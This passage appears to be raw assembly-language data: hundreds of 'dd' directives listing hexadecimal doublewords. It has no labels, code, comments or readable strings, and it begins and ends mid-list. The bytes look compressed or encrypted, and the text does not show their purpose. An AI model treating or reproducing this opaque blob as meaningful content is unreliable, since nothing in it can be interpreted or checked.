35A8CB41h, 83B045F6h, 2D8C0D7Fh dd 7BF6D6A8h, 75E99000h, 0EE8ED2F2h, 6646006Eh, 0C11C327Ah dd 503CB249h, 0F0720057h, 7B307152h, 3D6A30AFh, 0E0289B41h dd 7AFC9A81h, 0BA1300B2h, 0D8891249h, 0F723EF18h, 0D1110055h dd 0D36D98E6h, 0EDBBF611h, 7493E501h, 878F8052h, 49EFF588h dd 90618382h, 3B915D20h, 806229AFh, 1201ECDBh, 1448540Bh dd 3B6A08A4h, 0FB063548h, 3D68DDF7h, 1280FF01h, 524A899Dh dd 8C0DB6Ah, 0AFE0049Fh, 74AB08EDh, 320812B2h, 8DA03BCDh dd 111F9237h, 4175E4D2h, 0D2D0ECD8h, 10DF36h, 0FE12604h dd 1E0025CCh, 4996D8EFh, 0F0FBFD72h, 28D23E8Fh, 4A9A6F01h dd 0B9AF4FE0h, 7BB21F91h, 7A47CBC1h, 86D61452h, 2B08E0C0h dd 83848172h, 707DF73Fh, 11BE100h, 0DCF1890h, 8090C0E7h dd 0E69249B4h, 0A9C2A4A3h, 5680E88Fh, 873248FDh, 2A0428A6h dd 0DE3DA71Fh, 508D3B07h, 6322AF18h, 0E4F27A29h, 8B6ECD40h dd 5B81C639h, 2F563014h, 264C022Ch, 6234A1h, 188F437Bh dd 0ADB04F18h, 8068AAF0h, 0EC24405Fh, 0BE5038AEh, 634A3CA7h dd 90A227C4h, 8ED3F804h, 0F5127730h, 50405134h, 749AD0BBh dd 0CCF81272h, 6E142C49h, 9337FA12h, 0A2DB4841h, 16F97B0Ch dd 942CE844h, 365918EEh, 57FBD131h, 9BB8F150h, 0AF1EC80Ch dd 2892D843h, 0D9C4AF3h, 0B2758437h, 26684BE9h, 0DF185F09h dd 0CF661B51h, 3B2B278h, 274C4F24h, 4023C5A5h, 48029748h dd 0F0A9CB92h, 0F2E841A6h, 210BAB6h, 0EECFA86h, 0C6E8483Bh dd 7092F997h, 44280EB6h, 48603190h, 108E4732h, 0C12D6F2h dd 52082544h, 6F326240h, 1F8C6057h, 0C1645F19h, 0A0816240h dd 8BC8CD2h, 0F2504B31h, 86318CEFh, 48A02085h, 6E243CB3h dd 9FB20CB4h, 0FD415228h, 97B8F3D3h, 181F9784h, 23F208BFh dd 1F89B66h, 662F2008h, 0D4D1CF12h, 862340Ch, 0B4AC480Fh dd 192A6F18h, 1F18CDC0h, 92B0F34Fh, 7403E396h, 8E07137h dd 0BC975A84h, 50D220CCh, 62929485h, 5C5210D9h, 4883D48Eh dd 0D4E34ADCh, 0DAF22010h, 786E6178h, 0D01FD64Fh, 9C9300Fh dd 0D0F42FD0h, 2458AF0Ch, 2962BB10h, 401171A8h, 0E966A1FCh dd 0F0450AE0h, 8384CCFh, 58462F18h, 10C6DA8Fh, 6521E3AFh dd 4AAA11C3h, 9A4F288h, 0D0007C12h, 49B9EB72h, 0C82E323Ch dd 287826ACh, 0B0685204h, 0EF94887h, 0CC558740h, 7C1CF2C3h dd 95701220h, 83742C74h, 25814E08h, 0EA3B0978h, 8AAF4804h dd 0DC7307D0h, 9A80963h, 5804965Bh, 48748A4Fh, 74560989h dd 3C04A677h, 60189128h, 282EB40Ah, 859B29C8h, 28AB83AFh dd 0D4080554h, 962E1E3h, 0F8039ABBh, 80AAE12h, 0F0B5F052h dd 0ECC5B900h, 74BB1D8Eh, 36B324EEh, 68DD1E30h, 10C063E4h dd 81878EFh, 6E28A0CFh, 8EA6137h, 5CE00304h, 0DE082858h dd 0C1B0AB8h, 0B27822DBh, 12AC0E50h, 0EE92E71Dh, 40042CD3h dd 40856E32h, 0E805B884h, 0C402896Fh, 40224472h, 99EC2020h dd 5BDAC0A4h, 73401B07h, 6CC24DFBh, 70975719h, 48F9BCE1h dd 8A921204h, 7232CC0Eh, 5BD27405h, 0BF12EC81h, 67F11821h dd 0F20E8843h, 3CBC60CAh, 4DCEE2EDh, 38C3A80Ah, 758A568Bh dd 8AE1B02h, 0AA9F58C4h, 0A1C32330h, 0CC96543Bh, 0D2300190h dd 71EC9358h, 48B8CA20h, 6F0A6CFAh, 0FC4BE0Ch, 181D477Eh dd 0AC52A033h, 0E0243648h, 203CCD97h, 5B297860h, 6E60482Dh dd 0FD5CFB86h, 472D7B01h, 0D211E4C0h, 0BC87B30Ch, 81AEB512h dd 207586D8h, 0B95C4D48h, 8070E77Ch, 88751268h, 0ECA1D545h dd 0F15831B6h, 0AE065B8h, 0F47D02A0h, 1734D84h, 219091BBh dd 0D0EBD940h, 20EF512Eh, 6CB0BF50h, 0D604208Eh, 7768EB1Dh dd 300BDB05h, 9B74DE10h, 606CC72Ch, 99CDFB0Ch, 56D498D8h dd 9F051892h, 43EC6578h, 0DA531B8Ch, 87E5900Ah, 3EB7C75h dd 0C73C8D8h, 0D9F93B31h, 450E32B8h, 4011D72Ah, 0E4DFD483h dd 7F973A19h, 0A8551280h, 0F57A1C25h, 8095631Dh, 0F38D80BBh dd 0B71809A5h, 18E25284h, 0F9C8910Eh, 0A008FC88h, 9733081Bh dd 0EE0C7704h, 0E3F8E763h, 6E0446CDh, 1B52C095h, 2A4EEB00h dd 31074277h, 3A34D718h, 980E9742h, 0F48F9620h, 0E0A1C70Dh dd 138D1166h, 414C4C78h, 387B397Ah, 5956038h, 572B8AC8h dd 9483FA80h, 0A57BF8EDh, 0D5408380h, 0A1014C14h, 2B8DE820h dd 304C85F7h, 0A4F91139h, 1A400A4Eh, 3F50148Fh, 0A79A3369h dd 28C66051h, 0AD818C85h, 0F78D7D0Fh, 6486BC51h, 2499077Bh dd 8F6B62Ah, 56C43720h, 8787817h, 0D9831D39h, 0B7E0A000h dd 2B86B47Dh, 814C2A23h dd 617C8F29h, 0C07089FBh, 0F40802AAh, 0BC948807h, 43F5F85Bh dd 60FB4467h, 2082C48h, 5719D489h, 6A189808h, 20863705h dd 1F170091h, 1C007BE1h, 5341C8B4h, 998D81Dh, 0E55DF8EBh dd 0FBE36281h, 7B08800Ah, 0B8B9BA20h, 0E16B2C74h, 0F1E90110h dd 8CA0ACFBh, 28A86708h, 5BE7C72h, 0B79DE83Bh, 2C346058h dd 0C22084A7h, 730500A5h, 6BBE3B6h, 5B3EE176h, 72F1808Ch dd 1238C194h, 8C462B5h, 8CE02A8Dh, 0E074B7Bh, 9BFFC871h dd 38CD1480h, 62BD00B2h, 987B881Fh, 4502748Eh, 54ECB42Eh dd 50546040h, 295CB873h, 118B0B8h, 0FAEA02B6h, 0CD8C008Bh dd 31100569h, 843A189Dh, 48303040h, 0B92059F0h, 0AAAC0140h dd 5D7238A0h, 0F21448B7h, 0A063C43Ah, 134C3041h, 60FAB158h dd 0B8D23A08h, 8B06C0C9h, 31C29133h, 0E13F2F6Ch, 404C104Ch dd 0F6611B0Ch, 98B8E1FEh, 40AE4876h, 4761B91Dh, 0F52CD9B1h dd 813C50A3h, 7264984Dh, 0DECC017Ch, 837C50A3h, 59E9A9B1h dd 0EDEC5110h, 81C0A842h, 467563CDh, 288AEE89h, 613CC432h dd 0D1F52175h, 0E6AC007Eh, 783857BBh, 0DE07EE02h, 4C027DD6h dd 0E0640816h, 6F1D967Ch, 0C76C8CA8h, 3C3A7E2Bh, 0AFE3D383h dd 0C5100F8h, 129C3ADCh, 0D0FDF5Eh, 62E2DE31h, 40B55591h dd 0A5B9B34h, 804C1110h, 408C21E0h, 5504129Bh, 52CC9CEh dd 0A02C38C2h, 0FEA3004Eh, 0A9522E29h, 8D00BB9Eh, 0D4CCD220h dd 0A7721Fh, 0EC47028Eh, 5CB41015h, 14BE28C0h, 23B2206Eh dd 4301D687h, 5FB57478h, 0E4EEDE01h, 0D0533220h, 2E493B28h dd 2830A037h, 57362EFEh, 7C02281Eh, 58DAFB0Ch, 5321E03h dd 9F0672A0h, 0D02C7751h, 0EB3DDAFDh, 10D3E80h, 55F281E6h dd 0DE0AFA28h, 46121898h, 0EA6DA610h, 9D035E00h, 0B6D1D21Dh dd 0E0F25408h, 2915C0D5h, 4140BB0Eh, 0A5D7707Eh, 9A2E035Ch dd 59031144h, 1CAB379Eh, 7FC8D9B2h, 661CE5E9h, 1C20D8F4h dd 31BE6842h, 277A58C4h, 59C09CEAh, 1C9891DEh, 28E45312h dd 9E149D58h, 3088B026h, 0CD806823h, 1519F00Eh, 50B0A151h dd 60AC28A1h, 4A22EBFCh, 60185D45h, 7AB5060Fh, 10AB03C4h dd 1E4B4503h, 1B49DD72h, 30D38508h, 0E669BFC0h, 0AB607B7Fh dd 13015C46h, 637490h, 0A932EC3h, 0EA8A5D99h, 49E57E03h dd 0B34EF6h, 9730ED48h, 0A0D734ADh, 61187430h, 0F4DE50h dd 0E70619FBh, 5581628h, 0C43A870Eh, 0C58E40F8h, 786B1E4h dd 679D4533h, 5D6FEE4Fh, 820A1FA0h, 18C10897h, 0EB926F1Ah dd 3DA6ACFCh, 34811C66h, 54713BC7h, 0B59BD858h, 0DE4480C0h dd 0D35D89h, 0AA41BE2Ah, 7361C257h, 7B156D3Ah, 911F201h dd 0D71A9307h, 0A0101A60h, 207F990Ch, 1D1D350Fh, 1E855A97h dd 9C203122h, 2931ABAh, 0E2E47369h, 0A080EC90h, 18653115h dd 8F587C3Eh, 20D94519h, 75FD9913h, 959C01A3h, 127D6CD4h dd 0B0488C81h, 3E0FBE4Eh, 0ED8024B8h, 648C61DAh, 110F1E34h dd 0C73C2EA2h, 89833198h, 87CAAh, 73326960h, 92182608h dd 3D001777h, 912E0A3Fh, 309943D1h, 3938B7ADh, 83C2B2Dh dd 4E6900F6h, 0C1C28CFAh, 0C03FE81Dh, 0FF6C7569h, 2A58AF3Bh dd 526F0062h, 0EF0EE896h, 6A980028h, 0A37FF899h, 111F222Eh dd 6C403195h, 7EC6678Ch, 0B60F003Bh, 0FC851F74h, 180968E1h dd 3E599CCh, 0F08D1998h, 0F3CEEFh, 68E206FAh, 0A237B30Eh dd 5E9CBB01h, 19EF7194h, 0C5BE044Ch, 7B1D0A48h, 30AD740Ch dd 0EAE8FD83h, 79D1B048h, 259C000Dh, 0EC1112Ch, 881866EBh dd 0D1187A45h, 21088435h, 877229Fh, 5942329Dh, 33351097h dd 95C42184h, 413C6108h, 1227AAADh, 0AB891819h, 37C52184h dd 0BEBAAE00h, 0CCD5B5h, 31E17A79h, 34B12C3Dh, 21B6FD20h dd 920268F5h, 5ACA43Bh, 83184571h, 0ED0C0438h, 370C2178h dd 3F092443h, 0E780E931h, 0D8B0A066h, 9F1C9AE5h, 806610Fh dd 18334Eh, 0F8C27559h, 8EE12706h, 3A3BE020h, 5C804B97h dd 0A6C8A4A5h, 0F70C3E11h, 2035034Eh, 0C4FA1D8Ch, 662FC0CEh dd 6B2ECF55h, 2D00EEE8h, 8E9DA1BBh, 784F2180h, 54AA07F6h dd 0D0676603h, 0DB41F060h, 17E93B18h, 0F8E18108h, 0E7D5004Bh dd 9DA2FB7Dh, 0F702CCA7h, 0B8489C5Ah, 464C9062h, 0C0317174h dd 67A31610h, 51006CBEh, 0B191FF3Dh, 1F3B6FCh, 1FC21088h dd 0DC1940E8h, 1675E126h, 0ED3B9503h, 0E35B915Ch, 7C6FC0A4h dd 0D960039Dh, 0A7B59042h, 1CB917A2h, 721A41h, 0D7DB51A0h dd 172FE69Bh, 47CCA903h, 8FB8DC80h, 0B8F8C07Ah, 0DA68C0FCh dd 343B6B4Ah, 45D8A506h, 9294380h, 483A55DDh, 3128C20Ch dd 257D1A00h, 0F6B374A3h, 145174B4h, 5CEAA477h, 0E51084C1h dd 0AE6FF818h, 8DAF5C26h, 0EDCECD02h, 9760D726h, 4000A44Bh dd 4D0C2368h, 176AFA0h, 0C76E62CAh, 47A2DFADh, 0CE0EC0BCh dd 3612E82Bh, 104031E2h, 5B272FCCh, 0A45737F1h, 83CFF029h dd 0E580E1h, 0AB3EE79h, 720B243Eh, 1E115E58h, 3AA8AD76h dd 24004CA7h, 5AC38DEBh, 0D38B0004h, 0E17416Fh, 48CE57A6h dd 6759E0B0h, 6BEB965h, 9697A9C3h, 4B0108C1h, 432599AFh dd 51B0C5F4h, 4E4FE630h, 0B8AA0D1Eh, 23BB778Fh, 0A8DAA2C8h dd 933F5340h, 0ECA51074h, 61FB0084h, 27787F13h, 1C036032h dd 71043686h, 3080099Dh, 0CC0252C8h, 84033353h, 88410767h dd 0E31C2DF9h, 313B9985h, 787A0213h, 82545B24h, 95BA3C80h dd 0EC98CDACh, 0CB149ED0h, 2484027Dh, 0D8589482h, 41D4916Bh dd 4A17AF62h, 9818A144h, 83D2CC50h, 0E0460469h, 0CBBB6431h dd 8C3D0104h, 84750E60h, 14844CCh, 97398064h, 23746282h dd 4DE9E2E8h, 37003DDCh, 9BAA1667h, 7702B5BFh, 0F085B36h dd 12849453h, 5C973E6h, 985C87Fh, 0A18043A0h, 0D8D53441h dd 0D4EC3A01h, 9D5C6A70h, 5C653BFCh, 4400A321h, 0FEBBF0A4h dd 3F6A4F52h, 97806828h, 0F19D9E07h, 9AF03B85h, 253ECC02h dd 0D0848D2Eh, 4CF330F4h, 0C8340090h, 6BEB174Bh, 6491A67Ah dd 0D260265Ch, 3E29C008h, 7804C94Fh, 0A728DBC8h, 0F06728C3h dd 2EC7CFAh, 0FE09F959h, 0C451F6Fh, 6AEC4072h, 104D4081h dd 2B263042h, 9320934h, 38458C8Fh, 80FC2B37h, 9627CFDh dd 293DE4FCh, 0F4824Fh, 53D11086h, 60535B57h, 5628680h dd 0D8289B38h, 63FB1870h, 190D1E8h, 44D3ED3Ch, 74340BF4h dd 45DA3C17h, 30A6F31Bh, 10795FC3h, 0EF5810A0h, 0A44449FEh dd 22441B37h, 8FC16165h, 0A7FEE043h, 13C610C3h, 67782CABh dd 5AF580FCh, 71BF7B1Eh, 73020490h, 0CAFFF3E7h, 0E94048A3h dd 0A13B0DDAh, 0ECD04D32h, 40C04F54h, 7D10EAA5h, 6254B80Ah dd 694E4872h, 91129C08h, 49030C0Eh, 7C00A636h, 3F389041h dd 905C054Fh, 0BA489F31h, 507h, 7C8040B4h, 0A8E9D8F6h dd 64F2D326h, 42F3DE00h, 0C49DA64Eh, 704F0A3Ch, 92E4FD38h dd 10B40C41h, 90914BF1h, 0E0915247h, 23F0A04Ah, 2807B7Bh dd 32A7919Dh, 0EB208235h, 0AB6F8Eh, 3D1712E6h, 3CAF22B2h dd 0D21DF60h, 0EC426FD4h, 4789000Eh, 8D6D2805h, 30110B5h dd 0DCE125E4h, 0A8CD5022h, 78F36184h, 6FD1207Bh, 0FAE610A2h dd 0F1E7CC08h, 70EA0Eh, 0CFA85AC2h, 0B75C46C8h, 6FCC870Fh dd 12BA94Dh, 90F02024h, 0C08F609Eh, 10AD9843h, 0AF00C9A2h dd 0D3132C41h, 0DCB0B6F8h, 0A87ED6F0h, 0ED1519D9h, 9DF81018h dd 7DF70307h, 60ACA399h dd 23A61BF0h, 0F809E10Ch, 1E6B3834h, 1D26558Ch, 2B8A8E7Bh dd 99800B1Fh, 0E038342Eh, 6E267022h, 0E6000DA3h, 0AB46ECD5h dd 92EA006Ch, 0F49DA447h, 0A175C189h, 0B966CC1Dh, 1185FC0h dd 2E8561h, 936D73C6h, 0CA13FDFCh, 0DEB38F00h, 50FA0E5Ch dd 0C4D80086h, 40618BD5h, 7400184Eh, 6FFC97C1h, 0FBC0F0h dd 73D8076Dh, 842FB4FDh, 0A7CD4C28h, 0CF8D0800h, 18447C52h dd 0BDAA24C6h, 0A41D0001h, 63C9CE0Bh, 0C355AF00h, 0E2E80DD0h dd 5DC701A1h, 0D4011E52h, 38C8E03Ah, 2E10FA00h, 561D254Ah dd 0D763077Ch, 603AA0BAh, 48C38CE7h, 68E8AA7Dh, 0E051916Eh dd 0B5B6448Ah, 0BC8B263Fh, 0DE970F3Eh, 218CBAC2h, 0E99046C8h dd 5EA17D01h, 7B3273F0h, 0C9FF30h, 7156BFD0h, 24AA0912h dd 2310D164h, 573B8580h, 785B07B9h, 400230E0h, 561E1272h dd 18F20600h, 0A59A8744h, 0E1B20686h, 70975F3Bh, 84EAA80Bh dd 3AB98179h, 0F4CD20BAh, 700058BCh, 0F0AD9597h, 25399A89h dd 4F18FC8Ch, 1E20B494h, 7A900040h, 2868FED8h, 72142AECh dd 8865D2h, 0C8DBA7CAh, 0F3A55EA0h, 0A8D968E0h, 76DF84h dd 0B1C51CE6h, 99165AADh, 0BE5B0318h, 0FF6A21h, 0B40593E4h dd 2B90A62Eh, 0C909BD1Fh, 0B01AD240h, 17726234h, 0D977C3h dd 5A69D509h, 4A0085ADh, 22CE6FEAh, 1ECE573h, 4281AC12h dd 6BC939FFh, 0C667FA0h, 0CBF6F5C4h, 6B00D2CCh, 640EF024h dd 0CD144Eh, 10BE071Ch, 88DAB918h, 0AB94A600h, 0C431EBCAh dd 556D0138h, 34EE1966h, 5A6BE074h, 0A7151C09h, 6EFB812Eh dd 0DDE8FB24h, 86CB0E2Fh, 1F8087A0h, 4714ECE1h, 8925680Eh dd 816100C7h, 0A93728h, 66CB74B3h, 0DAF4BD2Ah, 799E0E00h dd 0D9EA2FADh, 0E8561716h, 0CAEC65h, 6D422A5Ah, 112486h dd 2DBB905Ch, 7A2B1BD4h, 884A0B00h, 0EC78FA6Ah, 667B06CAh dd 784BF676h, 283C9C7Bh, 94D70030h, 0EC1E96BEh, 1CAE7019h dd 8063B62Ch, 1C7A5190h, 0F8009C18h, 36F003F7h, 0D7E65EDh dd 67990C09h, 808305A8h, 0DF063F89h, 4D00F875h, 9C97CA25h dd 0CC0311h, 577B8CD7h, 0E83876F3h, 6090B900h, 8F3CDB97h dd 0BE5D00CEh, 71666527h, 4C007ADDh, 7EA5F97Bh, 5E429F53h dd 8452A01Eh, 0EABD3200h, 9C392560h, 7A8A0037h, 3D56A183h dd 4A0EF78Dh, 41FC9Fh, 0D20AC0A6h, 51460072h, 401709A7h dd 0E50001F9h, 7BE813DAh, 3818E02h, 0A259E2A4h, 690C4A42h dd 29068688h, 2A10FB1Ch, 90C851BBh, 54888326h, 2811FBA9h dd 911996D0h, 8325139h, 0E4FB2058h, 0A10420h, 0B8CBC2F6h dd 0C3BF7FC4h, 0F21C2200h, 0EA251326h, 7DB76B1h, 0F9122870h dd 8D4AF076h, 81E458D2h, 47338300h, 7E61A999h, 0C8770014h dd 0CECA3A85h, 5100DE89h, 0D3D01E1Dh, 0F709E0h, 8C34871Ch dd 3265BBA9h, 4724F96Eh, 1707AE3h, 46A1CBh, 34897BBAh dd 0D154BC8Ah, 0D303C00h, 6D2EBE42h, 355A3C24h, 8088B31Fh dd 0F6CED67Ch, 4F0FEF7Fh, 1C5EA9h, 23D8A3E4h, 12AD0030h dd 13C0ED4Bh, 641EC91Eh, 0BB0148ECh, 0C23C2335h, 762A7ED4h dd 0E37B50A4h, 7FFCE3h, 0C818111Ch, 0A8A581C2h, 4BFC58C0h dd 2467F33Ah, 79E4961h, 600BC9CFh, 55C71125h, 18008CE6h dd 1F8F4AF5h, 0E93DF4h, 5B750A8Eh, 67DD7A7h, 0FE2E0D01h dd 2C59E46Dh, 0E73FCCCh, 1806C56h, 9C0F1100h, 0A033CECh dd 71D7BD31h, 3BFC09Dh, 7C6B057h, 0FBE30651h, 0F47FF0D2h dd 770B95BAh, 430387h, 1F5B400h, 57CF00CCh, 4410C5B0h dd 0EF00499Eh, 0C78528E3h, 7F1593h, 6FA7587Eh, 0F69D190Fh dd 9250FB05h, 50C0D730h, 604075h, 5D3F795Fh, 0E2E4066Ah dd 74EF2848h, 0D6AF4100h, 88F7C3DFh, 0D8555877h, 0C13A2E01h dd 0C0757B62h, 6B75652Fh, 58DD4501h, 0E388B997h, 911EECh dd 72CA345Bh, 0D41F1920h, 257CA001h, 7BEDB2B3h, 0EEF5A06Fh dd 0B94E1209h, 0C58B0087h, 187F392Bh, 0B8968A88h, 8300251Bh dd 8F28D8C4h, 3094F02h, 0EC2C540Ah, 0DFA833E1h, 30008AFEh dd 1ACF4C59h, 1D2A048h, 52DDB076h, 0C87C01ADh, 513B39Fh dd 0C7004ACFh, 0B6A13090h, 0D64F0029h, 862A84A4h, 0D303C977h dd 0C7C81AF4h, 46E81C2Ch, 11B08076h, 0E87934B5h, 55A9D005h dd 0FF9D18h, 14BEF201h, 4D00CA7Fh, 47FD086Fh, 3C8576h dd 0FC6BF65Bh, 67EDCF31h, 0C835EE07h, 13903D8Ah, 3A5EFAh dd 0D945E7A5h, 0F387C621h, 60370303h, 0F02F6D86h, 6010467Dh dd 0A606747Bh, 833BDB57h, 3B620058h, 6798C2A0h, 1C8CF2E3h dd 1A1259h, 6221C164h, 1B600CD4h, 87BBEC10h, 0F9670A71h dd 0AC9F78h, 1E49C221h, 0D1005FD8h, 6ECC0D3Bh, 0E8C1A5h dd 0A31C32C3h, 22F2F307h, 0DA4FFE7Bh, 0CED5EC0h, 72293C5Ah dd 0B09F1181h, 0D3415393h, 63C3E2A8h, 4554B00h, 409B624Dh dd 0F4127491h, 0A8AA0F2Ch, 21408813h, 60EDA7C9h, 0FD386A74h dd 588700B1h, 0BED195D9h, 0F877005Fh, 82327596h, 7B00FDB7h dd 23FFC25Ch, 1861E721h, 60F0E905h, 883BD615h, 66D0800Ah dd 50F86537h, 33B10B6Bh, 0CC80D4A4h, 4E21E2CFh, 0D27BF703h dd 84DD95D1h, 0AE4A6DC1h, 0F12BE8h, 28BFD85Eh, 0EA2721DBh dd 3A59F500h, 0E3052D60h, 0AFF646h, 2EAE6924h, 9723C252h dd 0D106B00h, 0D7881792h, 8DDB1E62h, 81B94018h, 8994BCD6h dd 0C3CCD500h, 9E744103h, 0D8FB005Ah, 16D644B6h, 8C01CA57h dd 0A7B49C60h, 35DC7DFCh, 1D6C26ABh, 50F21893h, 8B00B853h dd 593EB9E2h, 0F3F4E4h, 2A4210DBh, 0AFC3CDF7h, 1F1D2971h dd 628E01BBh, 9E1D4060h, 75AB803h, 724CA4B9h, 90A58718h dd 691EA8FBh, 0E3E55000h, 1F272DC4h, 989A0348h, 3BB72CE8h dd 0B0F4AED8h, 8846E000h, 0FAA381C7h, 0C6A10058h, 0CDDD552Bh dd 3F3E38C1h, 2D3017Ah, 9D16E60Dh, 2C80CC0h, 1AC9CB76h dd 9881465Ch, 0F43D1CF9h, 5F00862Dh, 300360FBh, 0F01090h dd 13641B1Eh, 0DF1A25CFh, 2D769C0Fh, 2B3C1FDh, 0C920A962h dd 0C00600FAh, 0EBCE4055h, 7E009C8Bh, 6DF2E3B8h, 1C25E5h dd 5C9F6CF5h, 0FE93E03Bh, 20C086E6h, 0B67DACAEh, 45060E61h dd 0C200E251h, 0B3E6F32Ah, 0C1162800h, 0F1A3FCD2h, 11201FBCh dd 340640ACh, 889E0270h, 4C909900h, 7C783E37h, 89D7013Ch dd 0B6B34F46h, 380FBBFh, 11076A49h, 0D1980880h, 0EE466E80h dd 0C62400F0h, 4730F2Ch, 13777C33h, 0B21F8B00h, 3B5DF5C9h dd 5BB1003Fh, 0F9DF6E2h, 4B06CC64h, 3A24ABB0h, 0AED726CEh dd 8B7E0008h, 84DB9DA4h, 2E4A77Ch, 0B3EE6E00h, 98372647h dd 9B2E0079h, 0DBCB914Fh, 3500AC03h, 4A53ABF2h, 0DD7533h dd 6D85323Eh, 70DCE921h, 0DE203460h, 0AFFAE7h, 0B5255F7Eh dd 8865F1B8h, 0F285A76h, 2C009017h, 1646E5ACh, 0EBF9C69h dd 34204864h, 4905807Ch, 35A1F853h, 0A4311B00h, 0AF719599h dd 0E8AA3FCBh, 738338h, 5273A0F6h, 0B0D993A1h, 24ED7C00h dd 26795D96h, 0B09FFEDCh, 341C00B4h, 8C42BE3Ch, 0D700626Bh dd 1DA2D0DEh, 14088926h, 937C17B8h, 6001203Eh, 0C510AF87h dd 3B79D453h, 679C5450h, 0F66B493Eh, 80289F00h, 0D9220371h dd 0A08F50B2h, 33C706E8h, 10AB5499h, 0B89AD600h, 1AD3A343h dd 90A1EE49h, 781E7F91h, 6DCA0330h, 8F212B09h, 48FC508Fh dd 0D3004C22h, 0C506AF79h, 3BC230h, 0DDBAF70Bh, 44AA589Dh dd 55A71100h, 60719A4Bh dd 21EC43h, 3CD4EFCAh, 9784A587h, 31155Ch, 0BCDFADD9h dd 638174h, 0A3470369h, 0B19B1072h, 0A73ED67Bh, 95170F99h dd 8C45E03Dh, 5889Ch, 63D798BCh, 0C1535AE9h, 290FCEF8h dd 0A798483h, 2F00889Bh, 6EE0BD48h, 71FC8Fh, 7BA68B09h dd 0FCEE334Eh, 39B57F01h, 64BC957h, 4C95C8F0h, 46020C25h dd 135A9C5h, 6A8992C0h, 30428200h, 1EEB5D23h, 0BD910067h dd 794A40AFh, 0E5009BD9h, 0CF18441Dh, 2EBAC587h, 357914Ch dd 0C2BBF489h, 0D4267A89h, 0AA007079h, 0FF53F90Eh, 0E64888h dd 6A946620h, 10B75941h, 88348h, 899D09F1h, 3E13CAh, 0EFC354E7h dd 0D5A29714h, 91E57812h, 0F1891807h, 82A607F0h, 0FB02166Ah dd 573A00F4h, 26274AA5h, 0BCADDD00h, 111ACA16h, 0D7C207C9h dd 334271BFh, 638884FAh, 480FEE61h, 380E1AA7h, 185C5B58h dd 112A22A1h, 1400183Dh, 9803263Ah, 4DB9A2h, 0C1C21731h dd 6B70CE92h, 0DC8F3D00h, 4A0A276Ch, 0A83F16F0h, 7E8600EAh dd 59A2E661h, 4D21DC00h, 94A693EBh, 0F58F1E6Fh, 0E2318030h dd 0BE3580Eh, 37FDD700h, 0F372B387h, 17E402h, 0B11EB96Ah dd 9B2D4404h, 0AB7BBC00h, 0FF25CB18h, 0C7761CF6h, 1BDB4047h dd 0EF62E4D8h, 0FDF89Fh, 9B983946h, 262F94B5h, 0ABB1C000h dd 9C5FDE43h, 8FA70797h, 0D2B8D168h, 0E0E0074Ah, 54000C52h dd 396A2560h, 0E675B367h, 0E3BE1F66h, 999605h, 53D63C58h dd 9005EA6h, 4596AA0h, 1CAE39DDh, 40A3734Eh, 0A5BE6B0Ch dd 46E8C35Fh, 3DF74A00h, 0E0C876B5h, 0F132000Fh, 0B16FDDA0h dd 8201F26Ah, 0AA26751Bh, 3CC81346h, 0A17405EEh, 80AE6E67h dd 56B776E4h, 80195339h, 0CD87E593h, 0EE835429h, 2B78009Ch dd 0E14D43E4h, 3C00C36Ah, 0EB04FDB2h, 0C59510h, 18262328h dd 99090315h, 39664203h, 984FCDB4h, 3B5677h, 9A5C4033h dd 0AA38F8F9h, 23E5170Eh, 0D1F16091h, 13CB3DCh, 461A99C8h dd 0E4BEC567h, 0FE07CBDEh, 16B7EE45h, 0CA717920h, 0CECE211h dd 499C0781h, 0E50070D0h, 1DDF8EFBh, 5D27F0h, 915B9682h dd 0C3402D1Ch, 0C018D900h, 565FB8A1h, 8B483D23h, 53599F80h dd 797B75Eh, 86A7AF01h, 0E9146F76h, 5C2D8880h, 7B258FADh dd 0DDB23903h, 121C99F5h, 54ED30h, 0C29C53F1h, 87D31AFh dd 1A156603h, 0E021C65Dh, 295A622h, 0F1014B16h, 8A40BB70h dd 0B47184D4h, 0DE26180Eh, 20409D0Ch, 9B01BEA1h, 0DD940099h dd 350DC2FFh, 2500F033h, 5F429758h, 127747Ah, 8F56283Fh dd 0D848D64Ah, 0E33CA8A1h, 266BAE0Ch, 0CB719C00h, 0ACC3D1h dd 85F4075Bh, 0C43A8831h, 91A6900Fh, 478F207Fh, 1D4817Eh dd 4024ECF4h, 0F05A36B4h, 8500D007h, 0F8AD71A8h, 76106AAh dd 8BF3565Bh, 0FF8E55FFh, 71D2CF00h, 1C58420Ch, 409F49EBh dd 5D6576E9h, 0E6073344h, 9CE839E3h, 0CD681580h, 0B0DD00F9h dd 70724AF0h, 0D1FB654h, 2E1FF878h, 0E0A19C03h, 0F68CB8C3h dd 2BDC2832h, 24D20086h, 845E92C4h, 0FA009E11h, 4DDFF01Eh dd 38C84EBAh, 9400812Dh, 52752966h, 0B1024640h, 0F65FF550h dd 1F2640EDh, 58B50069h, 0E6DF2171h, 6D0F4092h, 80F85B3Ah dd 0FE2D14F0h, 0BAE3005Ch, 0D9447DEBh, 0C20074AFh, 6A1BB99Dh dd 3F495AACh, 0CA0C05DEh, 0EE30315Ch, 1BB66B1Fh, 0AF6CD800h dd 7CD33C99h, 32BE015Fh, 0F3AD03F0h, 0CF02F0E3h, 7677061Eh dd 0D11E2C80h, 9C06DDAh, 35836841h, 2639AF03h, 3AAFD000h dd 7B9F0CC7h, 0E6AB07BFh, 0B061BB62h, 5CC5E94Bh, 102E700h dd 0A7A2D53Ch, 0D08703A9h, 0E4D73EBFh, 0C41A2000h, 0A43C3AA3h dd 6053F0FDh, 0AF5A1EF0h, 0D1F65EE1h, 1B8EAC00h, 29B3B6D4h dd 165B1CB8h, 4FDE050Ah, 0C5FC005Ah, 0F6F120DDh, 0BF1CD113h dd 78A8F006h, 276D00D2h, 0DEC86319h, 3C00E8CFh, 0E480FBEBh dd 0E19F7Dh, 71B95198h, 0B1A038E6h, 7A00D174h, 0EA161464h dd 3DD70C1Ah, 0E20082C9h, 25D01954h, 0D500E018h, 61482722h dd 7F9221h, 0F604A9BFh, 5A7B754h, 5FDD3D03h, 0B1F011h dd 7372C510h, 7ED52EACh, 23BAAF15h, 0DE031CECh, 0A96FB3C7h dd 0EF1B9810h, 0C437005Dh, 251CFD0Ah, 0E300A350h, 9CAD088Eh dd 0DF4E7Fh, 65CD8474h, 0ED12D5FBh, 5CFF1F03h, 0A8345735h dd 2760E6h, 98F14B66h, 0FAD7E41Ch, 68AEF400h, 6D865995h dd 0AF36000Bh, 0FC5569Ch, 3E0F01D3h, 20A41CF9h, 0A35B9D46h dd 428100F4h, 0D9719813h, 10FAC448h, 0A5588400h, 7FD2C8AAh dd 0A7A900FAh, 